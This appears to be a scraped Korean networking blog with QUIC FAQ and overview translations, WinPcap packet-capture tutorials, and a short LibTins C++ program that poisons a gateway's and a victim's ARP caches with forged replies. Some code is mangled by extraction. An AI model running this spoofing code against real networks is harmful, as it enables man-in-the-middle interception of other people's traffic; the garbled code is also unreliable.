반응형

이 문서는 https://www.chromium.org/quic/quic-faq 를 번역한 문서입니다. 오역 및 의역이 매우 많을 가능성이 있습니다. :)

QUIC 작동 방법에 관한 문서가 있습니까?

2015 년 4 월, 우리는 QUIC에서 보았던 성능상의 이점에 대한 블로그 게시물을 썼습니다.
게시물: https://blog.chromium.org/2015/04/a-quic-update-on-googles-experimental.html

Chrome을 빌드하지 않고 간이 클라이언트, 서버를 구축 할 수 있습니까?

넵. quic_server 타겟은 Chrome전체를 빌드하지 않고 만들 수 있습니다. playing-with-quic 문서에 따라 독립 실행 형 QUIC 클라이언트 및 서버를 빌드하고 실행할 수 있습니다.

테스트 서버에서 어떻게 Chrome을 목표로 지정합니까?

HTTP 서버가 있다면 다음과 같은 응답 헤더를 보내야합니다.


Alternate-Protocol: quic:<QUIC server port>


그런 다음 평상시처럼 크롬을 실행할 수 있으며, 자동으로 QUIC를 사용하게 됩니다.

간이 QUIC 서버로만 테스트하는 경우 다음과 같이 할 수 있습니다.


% chrome --disable-setuid-sandbox --enable-quic --origin-to-force-quic-on=localhost:6121 http://localhost:6121/


문제 해결에 도움이 필요하면 –v = 1을 사용하여 QUIC 서버를 실행하거나 playing-with-quic 문서를 확인하십시오.

전송 계층이 암호화되는 이유는 무엇입니까?

QUIC(혼잡 관련 정보)에 대한 전송 정보는 전송이 항상 발전할 수 있다는 것을 보장하기 위해 주로 암호화 됩니다. 만약 ACK또는 checksum이 올바른 경우, 우려되는 것은 결국 미들박스는 혼잡정보를 분석하기 시작할 것이고 어떠한 전향적인 변화와도 단절될 것입니다. 이것이 현재 TCP의 문제입니다. 유선 형식은 인터넷 상의 현재 하드웨어의 기대 때문에 협상 옵션들과 실제적으로 사용 불가능한 유연한 기능을 허용합니다.

물론 아랫쪽인 미들 박스에서 세부 정보를 숨기는 것은 엔드 포인트를 제어 할 수 없다면 QUIC를 분석하기 어렵다는 것을 의미합니다. tcpdump 툴은 패킷의 비율과, 패킷의 틈을 시각화 할 수 있지만, 어떤 패킷이 페이로드, 혼잡 정보, 재전송 등을 포함하고 있는지 판단하기 어렵습니다. 클라이언트와 서버측 코드는 사용자 공간 처리 중에 이러한 정보를 쉽게 덤프할 수 있도록 설계되어 있습니다. 이러한 로그는 tcpdumps보다 더 많은 데이터를 포함할 수 있으며 커널 수준의 패킷 추적과 함께 묶어 전체 시스템에서 대기 시간을 더 잘 파악할 수 있습니다.

'Network > QUIC' 카테고리의 다른 글

QUIC overview  (0) 2017.06.03
반응형

이 문서는 https://docs.google.com/document/d/1gY9-YNDNAB1eip-RTPbqphgySwSNSDHLq9D5Bty4FSU/edit 를 번역한 문서입니다. 오역 및 의역이 매우 많을 가능성이 있습니다. :)

QUIC란?

QUIC (Quick UDP Internet Connections) Google에서 개발한 새로운 인터넷 전송 프로토콜 입니다.

QUIC는 사용자들은 거의 또는 전혀 변경하지 않으면서, 최신 웹 애플리케이션에서 발생하는 수많은 전송 계층과 응용 계층 문제를 해결합니다. QUIC는 TCP+TLS+HTTP2와 비슷하지만 UDP위에 구현됩니다. 자체적으로 만들어진 프로토콜인 QUIC를 사용하면 레거시 클라이언트와 미들박스에 의해 방해받는 기존의 프로토콜로는 불가능한 혁신을 가능케 할 수 있습니다.

QUIC over TCP+TLS+HTTP2의 주요 이점들:

연결 설정 대기 시간
혼잡 제어 개선
Head-of-line blocking(HOL blocking)문제 없이 멀티플렉싱
전진 에러 수정(FEC)
연결 마이그레이션

연결 설정

연결 설정에 대해 자세히 알고 싶다면 QUIC Crypto design 문서를 참조하세요. 간단히, 페이로드를 보내기 위해 1~3번의 왕복이 필요한 TCP+TLS와 비교해서 QUIC의 handshake는 자주 왕복을 필요로 하지 않습니다.

처음으로 QUIC 클라이언트가 서버에 접속할때, 클라이언트는 반드시 handshake를 완료하는데 필요한 정보를 얻기 위해 1 왕복 handshake를 수행해야 합니다. 클라이언트가 inchoate(empty) client hello(CHLO)를 보내면, 서버는 소스 주소 토큰과 서버 인증서를 포함하여 클라이언트가 진행하는데 필요한 정보를 rejection(REJ)와 함께 보냅니다. 다음번에 클라이언트가 CHLO를 전송하면, 이전 연결의 캐시 된 자격 증명을 사용하여 암호화된 요청을 즉시 서버에 보낼 수 있습니다.

혼잡 제어

QUIC는 플러그형 혼잡 제어를 가지고 있으며, TCP보다 혼잡제어 알고리즘에 더 많은 정보를 제공합니다. 현재, Google의 QUIC는 TCP Cubic의 재 구현을 사용하고 있으며 대안적인 접근법을 실험하고 있습니다.

많은 정보의 예는 원본과 재전송된 각 패킷이 새로운 시퀸스 번호를 전달한다는 것입니다. 이를 통해 QUIC 전달자는 원본에 대한 ACK과 재전송을 위한 ACK을 구별할 수 있으며 TCP의 재전송 모호 문제를 피할 수 있습니다. 또한 QUIC ACK는 패킷 수신과 전송 확인 사이의 지연을 단조롭게 전달하고 단조롭게 증가하는 시퀀스 번호와 함께 전달합니다. 이를 통해 정확한 왕복 시간을 계산할 수 있습니다.

마지막으로, QUIC의 ACK 프레임은 최대 256 NACK 범위를 지원하므로, QUIC는 TCP(SACK포함)보다 순서 재 지정에 더 탄력적이며, 재 지정 또는 손실이 있을때 더 많은 바이트를 망에 보관 가능합니다. 클라이언트와 서버 모두 각자가 수신 한 패킷을 정확하게 파악할 수 있습니다.

멀티플렉싱

TCP+HTTP2가 갖는 큰 문제중 하나는 head-of-line blocking(HOL blocking) 문제입니다. 애플리케이션은 TCP 연결을 바이트 스트림으로 간주합니다. TCP 패킷이 손실되면, 해당 HTTP2 연결 스트림은 패킷이 재 전송되어 상대방이 수신 할 때까지 계속 진행할 수 없습니다. 이러한 스트림에 대한 데이터가있는 패킷이 도착하여 버퍼에서 대기중인 경우에도 마찬가지입니다.

QUIC는 멀티플렉싱 동작을 위해 처음부터 디자인 되었기 때문에, 개별 스트림에 대한 데이터를 가지고 있는 손실 패킷은 일반적으로 특정 스트림에만 영향을 미칩니다. 각 스트림 프레임은 도착시 해당 스트림으로 전달 할 수 있으므로, 손실이 없는 스트림은 재구성될 수 있고 애플리케이션에서 진행될 수 있습니다.

전진 에러 수정(FEC)

재전송을 기다리지 않고 손실된 패킷을 복구하기 위해, QUIC는 FEC 패킷으로 패킷 그룹을 보완할 수 있습니다. RAID-4와 유사하게 FEC 패킷은 FEC 그룹의 패킷들의 패리티를 포함합니다. 그룹 내의 패킷 중 하나가 손실되면, 그 패킷의 내용은 FCE 패킷과 그룹 내부에 남아있는 패킷들로부터 복구할 수 있습니다. 전송자는 특정 시나리오(예시: 요청의 시작과 끝)를 최적화하기 위해 FEC 패킷을 보낼지 여부를 결정할 수 있습니다.

연결 마이그레이션

QUIC 연결은 클라이언트에서 임의로 생성된 64bit 연결 ID로 식별됩니다. 반대로 TCP 연결은 송신 주소, 송신 포트, 수신 주소, 수신 포트라는 4개의 튜플로 식별됩니다. 이것은 만약 클라이언트의 IP주소가 바뀌거나(예시: Wi-Fi 범위를 벗어나서 데이터 모드로 전환)또는 포트(NAT box가 손실되어 포트를 리바인딩 하는 경우)가 바뀌는 경우 활성화 된 TCP 연결은 더 이상 유효하지 않습니다. QUIC 클라이언트가 IP를 변경하게 되면, 새로운 IP 주소에서 이전 연결 ID를 사용하여 진행중인 요청을 방해받지 않을 수 있습니다.

'Network > QUIC' 카테고리의 다른 글

QUIC FAQ  (0) 2017.06.03
반응형
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include<iostream>
#include<unistd.h>
#include<tins/tins.h>
#include<thread>
 
using namespace std;
using namespace Tins;
 
void doArpSpoofing(NetworkInterface iface,
                    IPv4Address gw,
                    IPv4Address victim,
                    NetworkInterface::Info info)
{
    PacketSender send;
    EthernetII::address_type gw_hw,victim_hw;
 
    gw_hw = Utils::resolve_hwaddr(iface,gw,send);
    victim_hw = Utils::resolve_hwaddr(iface,victim,send);
 
    cout << "[*] Using Gateway HW Address   " << gw_hw << endl;
    cout << "[*] Using Victim HW Address    " << victim_hw << endl;
    cout << "[*] Using Own HW Address       " << info.hw_addr << endl;
    ARP gw_arp = ARP(gw,victim,gw_hw,info.hw_addr);
    ARP victim_arp = ARP(victim,gw,victim_hw,info.hw_addr);
    gw_arp.opcode(ARP::REPLY);
    victim_arp.opcode(ARP::REPLY);
    EthernetII to_gw = EthernetII(gw_hw,info.hw_addr) / gw_arp;
    EthernetII to_victim = EthernetII(victim_hw,info.hw_addr) / victim_arp;
 
    while(true){
        cout << "[-] Send Corrupt ARP" << endl;
        send.send(to_gw,iface);
        send.send(to_victim,iface);
        sleep(5);
    }
}
int main(int argc, char* argv[])
{
    IPv4Address gw, victim;
    if(argc != 3){
        cout << "[-] Usage " << argv[0<< " <Gateway> <Victim>" << endl;
        return 1;
    }
    try {
        gw = argv[1];
        victim = argv[2];
    }
    catch(...){
        cout << "[!] Wrong IP Finded!" << endl;
        return 2;
    }
    NetworkInterface iface;
    NetworkInterface::Info info;
    try {
        iface = gw;
        info = iface.info();
    }
    catch(runtime_error& e){
        cout << "[!] " << e.what() << endl;
        return 3;
    }
    cout << "[-] Starting ARP Spoofing..." << endl;
 
    thread t(&amp;doArpSpoofing,iface,gw,victim,info);
 
 
    return 0;
}
 
 
cs


'Network' 카테고리의 다른 글

WinPcap 4  (0) 2016.02.23
WinPcap 3  (0) 2016.02.23
WinPcap 2  (0) 2016.02.23
WinPcap 1  (0) 2016.02.23
패킷 캡슐화 구현  (0) 2015.11.20
반응형

Receive Final

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#include<pcap.h>
#include<malloc.h>
#include"Header.h"
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wpcap.lib")
#pragma warning(disable:4996)
void packet_view(u_char *const struct pcap_pkthdr *const u_char *);
void print_hex(const u_char *int);
int main(void)
{
    char *dev;
    pcap_t *pd;    
    bpf_u_int32 net, subnet;    
    char errbuf[PCAP_ERRBUF_SIZE];
    struct bpf_program fcode;
 
    if (!(dev = pcap_lookupdev(errbuf))) {
        printf("[!] pcap_lookupdev\n");
        return -1;
    }
    if (pcap_lookupnet(dev, &net, &subnet, errbuf) < 0) {
        printf("[!] pcap_lookupnet\n");
        return -1;
    }
    if (!(pd = pcap_open_live(dev, 6553513000, errbuf))) {
        printf("[!] pcap_open_live\n");
        return -1;
    }
    if (pcap_compile(pd, &fcode, "tcp port 9623"0, subnet) < 0) {
        printf("[!] pcap_complie\n");
        return -1;
    }
    if (pcap_setfilter(pd, &fcode) < 0) {
        printf("[!] pcap_setfilter\n");
        return -1;
    }
    printf("[-] Listening\n");
    if (pcap_loop(pd, 0, packet_view, NULL< 0) {
        printf("[!] pcap_loop\n");
        return -1;
    }
    return 0;
}
void packet_view(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
    int datalen = 0;
    char* buffer;
    ether_header *eh;
    ip_header *iph;
    udp_header *uh;
    tcp_header *th;
    u_int ip_len;
    
    printf("[*] Received Packet\n");
    printf("[*] Length: 0x%x\n", header->len);
    print_hex(pkt_data, header->len);
 
    eh = (ether_header*)pkt_data;
    printf("[*] Ethernet\n");
    printf("\tDestination: %02x-%02x-%02x-%02x-%02x-%02x\n", eh->eth_dst[0], eh->eth_dst[1], eh->eth_dst[2], \
        eh->eth_dst[3], eh->eth_dst[4], eh->eth_dst[5]);
    printf("\tSource:      %02x-%02x-%02x-%02x-%02x-%02x\n", eh->eth_src[0], eh->eth_src[1], eh->eth_src[2], \
        eh->eth_src[3], eh->eth_src[4], eh->eth_src[5]);
    if (ntohs(eh->eth_type) == ETHERTYPE_IP)
    {
        iph = (ip_header*)(pkt_data + ETH_HLEN);
        ip_len = (iph->ip_len & 0xf* 4;
 
        printf("[*] IP\n");
        printf("\tDestination:    %d.%d.%d.%d\n", iph->ip_dst[0], iph->ip_dst[1], iph->ip_dst[2], iph->ip_dst[3]);
        printf("\tSource:        %d.%d.%d.%d\n", iph->ip_src[0], iph->ip_src[1], iph->ip_src[2], iph->ip_src[3]);
        if (iph->ip_p == IPPROTO_TCP)
        {
            th = (tcp_header*)(pkt_data + ETH_HLEN + IP_HLEN);
            printf("[*] TCP\n");
            printf("\tDestPort:    %d\n", ntohs(th->tcp_dport));
            printf("\tSrcPort:    %d\n", ntohs(th->tcp_sport));
            printf("\tSEQ:        %X\n", ntohl(th->tcp_seqnum));
            printf("\tACK:        %X\n", ntohl(th->tcp_acknum));
            datalen = header->len - ETH_HLEN - IP_HLEN - th->tcp_hlen;
            buffer = (char*)_alloca(datalen+2);
            strncpy(buffer, (char*)pkt_data + ETH_HLEN + IP_HLEN + th->tcp_hlen, datalen);
            buffer[datalen] = NULL;
            printf("\tData: %s\n", buffer);
        }
        if (iph->ip_p == IPPROTO_UDP)
        {
            uh = (udp_header*)(pkt_data + ETH_HLEN + IP_HLEN);
            printf("[*] UDP\n");
            printf("\tDestPort:    %d\n", ntohs(uh->udp_dport));
            printf("\tSrcPort:    %d\n", ntohs(uh->udp_sport));
            datalen = header->len - ETH_HLEN - IP_HLEN - sizeof(udp_header);
            buffer = (char*)_alloca(datalen + 2);
            strncpy(buffer, (char*)pkt_data + ETH_HLEN + IP_HLEN + sizeof(udp_header), datalen);
            buffer[datalen] = NULL;
            printf("\tData: %s\n", buffer);
 
        }
    }
    printf("----------------------------------------\n");
}
void print_hex(const u_char *data, int len)
{
    int i, j;
    printf("Addr   ");
    for (i = 0; i < 16; i++)
        printf("%02X ", i);
    for (i = 0; i < 16; i++)
        printf("%X", i);
    printf("\n");
    for (i = 0; i * 16 < len - (len%16); i++) {
        printf("0x%04X ", i * 16);
        for (j = 0; j < 16; j++)
            printf("%02X ", (data + 16 * i)[j]);
        for (j = 0; j < 16; j++) {
            if (((data + 16 * i)[j]>0x1f) && ((data + 16 * i)[j] < 0x7F))
                printf("%c", (data + 16 * i)[j]);
            else
                printf(".");
        }
        printf("\n");
    }
    printf("0x%04X ", i * 16);
    for (j = 0; j < len % 16; j++)
        printf("%02X ", (data + 16 * i)[j]);
    for (; j < 16; j++)
        printf("   ");
    for (j = 0; j < len % 16; j++) {
        if (((data + 16 * i)[j]>0x1f) && ((data + 16 * i)[j] < 0x7F))
            printf("%c", (data + 16 * i)[j]);
        else
            printf(".");
    }
    printf("\n");
}
cs



'Network' 카테고리의 다른 글

LibTins ARP Spoofing  (0) 2016.06.24
WinPcap 3  (0) 2016.02.23
WinPcap 2  (0) 2016.02.23
WinPcap 1  (0) 2016.02.23
패킷 캡슐화 구현  (0) 2015.11.20
반응형
Packet Filter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include<pcap.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wpcap.lib")
#pragma warning(disable:4996)
void packet_view(u_char *const struct pcap_pkthdr *const u_char *);
void print_hex(const u_char *int);
int main(void)
{
    char *dev;                    // device name;
    pcap_t *pd;                    // packet descripter
    bpf_u_int32 net, subnet;    // network, subnetmask
    char errbuf[PCAP_ERRBUF_SIZE];    // error buffer
    struct bpf_program fcode;        // filtering rule
    
    if (!(dev = pcap_lookupdev(errbuf))){    // find device
        printf("[!] pcap_lookupdev\n");
        return -1;
    }
    if (pcap_lookupnet(dev, &net, &subnet, errbuf) < 0){    // get network, subnetmask
        printf("[!] pcap_lookupnet\n");
        return -1;
    }
    /* pcap_open_live
        device
        maximum capture length
        promiscuous mode
        timeout(ms)
        error buffer
    */
    if (!(pd = pcap_open_live(dev, 6553513000, errbuf))) {
        printf("[!] pcap_open_live\n");
        return -1;
    }
    /* pcap_complie
        packet descriptor
        filtering rule
        define filtering rule
        optimizing
        subnetmask
    */
    if (pcap_compile(pd, &fcode, "tcp port 9623"0, subnet) < 0) {
        printf("[!] pcap_complie\n");
        return -1;
    }
    /* pcap_setfilter: apply rule
        packet descriptor
        filtering rule
    */
    if (pcap_setfilter(pd, &fcode) < 0) {
        printf("[!] pcap_setfilter\n");
        return -1;
    }
    printf("[-] Listening");
    /* pcap_loop
        packet descriptor
        receive packet num(0:Endlessloop)
        received packet processing fuction
        user parameter
    */
    if (pcap_loop(pd, 0, packet_view, NULL< 0) {
        printf("[!] pcap_loop\n");
        return -1;
    }
    return 0;
}
// received packet processer
/* packet_view
    user parameter
    header
    packet data
*/
void packet_view(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
    int len = 0;
    printf("[*] Received Packet\n");
    
    print_hex(pkt_data, header->len);
    
}
void print_hex(const u_char *data, int len)
{
    int i, j;
    printf("Addr   ");
    for (i = 0; i < 16; i++)
        printf("%02X ", i);
    for (i = 0; i < 16; i++)
        printf("%X", i);
    printf("\n");
 
    for (i = 0; i * 16 < len; i++) {
        printf("0x%04X ", i * 16);
        for (j = 0; j < 16; j++)
            printf("%02X ", (data + 16 * i)[j]);
        for (j = 0; j < 16; j++) {
            if (((data + 16 * i)[j]>0x1f) && ((data + 16 * i)[j] < 0x7F))
                printf("%c", (data + 16 * i)[j]);
            else
                printf(".");
        }
        printf("\n");
    }
    printf("\n");
}
cs


'Network' 카테고리의 다른 글

LibTins ARP Spoofing  (0) 2016.06.24
WinPcap 4  (0) 2016.02.23
WinPcap 2  (0) 2016.02.23
WinPcap 1  (0) 2016.02.23
패킷 캡슐화 구현  (0) 2015.11.20
반응형

Capture the Packet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include<pcap.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wpcap.lib")
#pragma warning(disable:4996)
void packet_view(u_char *const struct pcap_pkthdr *const u_char *);
void print_hex(const u_char *int);
int main(void)
{
    char *dev;                    // device name;
    pcap_t *pd;                    // packet descripter
    bpf_u_int32 net, subnet;    // network, subnetmask
    char errbuf[PCAP_ERRBUF_SIZE];    // error buffer
    
    if (!(dev = pcap_lookupdev(errbuf))){    // find device
        printf("[!] pcap_lookupdev\n");
        return -1;
    }
    if (pcap_lookupnet(dev, &net, &subnet, errbuf) < 0){    // get network, subnetmask
        printf("[!] pcap_lookupnet\n");
        return -1;
    }
    /* pcap_open_live
        device
        maximum capture length
        promiscuous mode
        timeout(ms)
        error buffer
    */
    if (!(pd = pcap_open_live(dev, 6553513000, errbuf))) {
        printf("[!] pcap_open_live\n");
        return -1;
    }
    printf("[-] Listening");
    /* pcap_loop
        packet descriptor
        receive packet num(0:Endlessloop)
        received packet processing fuction
        user parameter
    */
    if (pcap_loop(pd, 10, packet_view, NULL< 0) {
        printf("[!] pcap_loop\n");
        return -1;
    }
    return 0;
}
// received packet processer
/* packet_view
    user parameter
    header
    packet data
*/
void packet_view(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
    int len = 0;
    printf("[*] Received Packet\n");
    
    print_hex(pkt_data, header->len);
    
}
void print_hex(const u_char *data, int len)
{
    int i, j;
    printf("Addr   ");
    for (i = 0; i < 16; i++)
        printf("%02X ", i);
    for (i = 0; i < 16; i++)
        printf("%X", i);
    printf("\n");
 
    for (i = 0; i * 16 < len; i++) {
        printf("0x%04X ", i * 16);
        for (j = 0; j < 16; j++)
            printf("%02X ", (data + 16 * i)[j]);
        for (j = 0; j < 16; j++) {
            if (((data + 16 * i)[j]>0x1f) && ((data + 16 * i)[j] < 0x7F))
                printf("%c", (data + 16 * i)[j]);
            else
                printf(".");
        }
        printf("\n");
    }
    printf("\n");
}
cs



'Network' 카테고리의 다른 글

LibTins ARP Spoofing  (0) 2016.06.24
WinPcap 4  (0) 2016.02.23
WinPcap 3  (0) 2016.02.23
WinPcap 1  (0) 2016.02.23
패킷 캡슐화 구현  (0) 2015.11.20
반응형

Get Device name & network & subnetmask

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<pcap.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wpcap.lib")
#pragma warning(disable:4996)
 
int main(void)
{
    char *dev;                    // device name;
    pcap_t *pd;                   // packet descripter
    bpf_u_int32 net, subnet;      // network, subnetmask
    char errbuf[PCAP_ERRBUF_SIZE];    // error buffer
    struct in_addr net_addr, subnet_addr;    // for print
 
    if (!(dev = pcap_lookupdev(errbuf)))    // find device
    {
        printf("[!] Error : pcap_lookupdev\n");
        return -1;
    }
    if (pcap_lookupnet(dev, &net, &subnet, errbuf) < 0)    // get network, subnetmask
    {
        printf("[!] Error : pcap_lookupnet\n");
        return -1;
    }
    net_addr.s_addr = net;
    subnet_addr.s_addr = subnet;
    printf("[*] Device        :    %s\n", dev);
    printf("[*] Network       :    %s\n", inet_ntoa(net_addr));
    printf("[*] Subnetmask    :    %s\n", inet_ntoa(subnet_addr));
    return 0;
}
cs


'Network' 카테고리의 다른 글

LibTins ARP Spoofing  (0) 2016.06.24
WinPcap 4  (0) 2016.02.23
WinPcap 3  (0) 2016.02.23
WinPcap 2  (0) 2016.02.23
패킷 캡슐화 구현  (0) 2015.11.20
반응형


main.cpp


socket.h

패킷은 캡슐화 되어서 이동합니다.

저는 한번 직접 물리부터 만들어 보았습니다.

근데 좀 더러울 것입니다.

시간되면 고치겠습니다.

'Network' 카테고리의 다른 글

LibTins ARP Spoofing  (0) 2016.06.24
WinPcap 4  (0) 2016.02.23
WinPcap 3  (0) 2016.02.23
WinPcap 2  (0) 2016.02.23
WinPcap 1  (0) 2016.02.23

+ Recent posts